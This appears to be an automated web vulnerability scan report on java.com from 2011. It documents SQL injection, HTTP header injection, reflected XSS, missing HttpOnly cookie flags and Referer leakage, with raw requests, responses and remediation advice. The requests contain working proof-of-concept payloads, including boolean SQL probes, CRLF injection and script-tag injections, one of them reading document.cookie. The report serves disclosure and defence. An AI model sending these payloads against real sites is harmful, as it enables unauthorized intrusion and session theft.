The s_sq cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the s_sq cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /en/download/faq/develop.xml HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D'%20and%201%3d1--%20; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response 1
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:46:39 GMT Connection: close X-powered-by: JSP/2.1 Set-cookie: JSESSIONID=ba2ab8717a71e055791c4cfd6bf7; Path=/ Content-type: text/html;charset=UTF-8 Via: 1.1 https-java Proxy-agent: Sun-Java-System-Web-Server/7.0 Set-cookie: JROUTE=W2VMz2yu926eYGvP; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The value of the host request parameter is copied into the Location response header. The payload d8b32%0d%0ab1329ec893d was submitted in the host parameter. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Request
GET /inc/BrowserRedirect1.jsp?locale=en&host=d8b32%0d%0ab1329ec893d HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 302 Moved Temporarily Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:45 GMT Location: http://d8b32 b1329ec893d/en/download/windows_ie.jsp?locale=en&host=d8b32%0d%0ab1329ec893d Content-length: 0 Connection: close
3. Cross-site scripting (reflected)previousnext There are 4 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
3.1. http://java.com/en/download/faq/develop.xml [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://java.com
Path:
/en/download/faq/develop.xml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e69a4"><script>alert(1)</script>c3faf564be2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/download/faq/develop.xml?e69a4"><script>alert(1)</script>c3faf564be2=1 HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:49:58 GMT Connection: close X-powered-by: JSP/2.1 Set-cookie: JSESSIONID=ba5b49112a2efd3bced6a2b6eb9e; Path=/ Content-type: text/html;charset=UTF-8 Via: 1.1 https-java Proxy-agent: Sun-Java-System-Web-Server/7.0 Set-cookie: JROUTE=W2VMz2yu926eYGvP; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
3.2. http://java.com/en/download/help/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://java.com
Path:
/en/download/help/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5026"><script>alert(1)</script>6aa977f8018 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/download/help/?c5026"><script>alert(1)</script>6aa977f8018=1 HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:50:53 GMT X-powered-by: JSP/2.1 Set-cookie: JSESSIONID=ba6470db4de0c0c9d62718bcde41; Path=/ Content-type: text/html;charset=UTF-8 Via: 1.1 https-java Proxy-agent: Sun-Java-System-Web-Server/7.0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
3.3. http://java.com/en/download/help/index.xml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://java.com
Path:
/en/download/help/index.xml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 997b2"><script>alert(1)</script>e10d6494ffa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/download/help/index.xml?userOs=Windows+7&997b2"><script>alert(1)</script>e10d6494ffa=1 HTTP/1.1 Host: java.com Proxy-Connection: keep-alive Referer: http://java.com/en/download/help/?c5026%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6aa977f8018=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_nr=1299422455688; gpName=javac%3AHomepage; gpChannel=javac%3AHome; gpServer=java.com; JSESSIONID=ba79bda179da589eb4df14eb7c8e; JROUTE=eKVJ4oW0NOer888s
The value of the userOs request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf1ba"><script>alert(1)</script>88c1615a768 was submitted in the userOs parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/download/help/index.xml?userOs=Windows+7cf1ba"><script>alert(1)</script>88c1615a768 HTTP/1.1 Host: java.com Proxy-Connection: keep-alive Referer: http://java.com/en/download/help/?c5026%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6aa977f8018=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_nr=1299422455688; gpName=javac%3AHomepage; gpChannel=javac%3AHome; gpServer=java.com; JSESSIONID=ba79bda179da589eb4df14eb7c8e; JROUTE=eKVJ4oW0NOer888s
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: java.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Moved Temporarily Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:40:30 GMT Location: http://java.com/en/ Set-cookie: JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; Path=/ Content-length: 0
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/ HTTP/1.1 Host: java.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/about/disclaimer.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:29 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=6694670BFFD037592FE79BB624F119D3; Path=/ Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=ba0b375559d6d0e408fda0e7b05b; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/download/faq/develop.xml HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:16 GMT X-powered-by: JSP/2.1 Set-cookie: JSESSIONID=ba0b375559d6d0e408fda0e7b05b; Path=/ Content-type: text/html;charset=UTF-8 Via: 1.1 https-java Proxy-agent: Sun-Java-System-Web-Server/7.0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=ba11c72a8923e06bf3e836edf021; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/download/help/ HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:15 GMT X-powered-by: JSP/2.1 Set-cookie: JSESSIONID=ba11c72a8923e06bf3e836edf021; Path=/ Content-type: text/html;charset=UTF-8 Via: 1.1 https-java Proxy-agent: Sun-Java-System-Web-Server/7.0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/download/index.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:58 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=22355F5FB09467D9D21619054672232B; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/download/installed.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:14 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=C6CB172BC7C9327250876241AA622C5D; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/download/whatis_java.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:57 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=DF2280FC7F8D95FCE2EA9C1588015DAD; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/ HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:46 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=1CCDB6BC30511D0558123F3F9DE3EEFD; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/blu-ray.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:30 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=FDBEF6C27C1E663DD9CBE2E663126B81; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/ea.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:31 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=A16A90FBC0446B55CC675319543E4CDE; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/google_maps.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:48 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=86133E3172E8A51203D4E851B0BE7A7D; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/lincvolt.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:35 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=C25B21E9B82B999B193AC5002517AFEE; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/mifos.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:30 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=E9CED5B1202C309F2617E352D8F11B31; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/neil_young.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:47 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=16C2B1059B00DC8FECF717839C499553; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/reset_generation.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:10 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=271F36F5DD89509B4B14B2D0D177649E; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/runescape.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:13 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=1880877AE3D301F0BF684D67830B70B4; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/sentilla.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:44:53 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=0673EAF4E4905940914A91728CA0207E; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/java_in_action/sony_pictures.jsp HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 200 OK Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:13 GMT Content-type: text/html;charset=UTF-8 Set-cookie: JSESSIONID=704235FB7B902E3FB0D81FC9EAB5BFDC; Path=/ Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /inc/BrowserRedirect1.jsp?locale=en&host=java.com HTTP/1.1 Host: java.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; JSESSIONID=1293A6BF26E6D8F8E7A58F50BE03535D; s_sq=%5B%5BB%5D%5D; s_nr=1299422455688; gpServer=java.com; gpChannel=javac%3AHome; gpName=javac%3AHomepage;
Response
HTTP/1.1 302 Moved Temporarily Server: Sun-Java-System-Web-Server/7.0 Date: Sun, 06 Mar 2011 14:45:32 GMT Location: http://java.com/en/download/windows_ie.jsp?locale=en&host=java.com Set-cookie: JSESSIONID=C2675B2C6EA9BAC63A7A92902BA0F0AF; Path=/ Content-length: 0 Connection: close
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
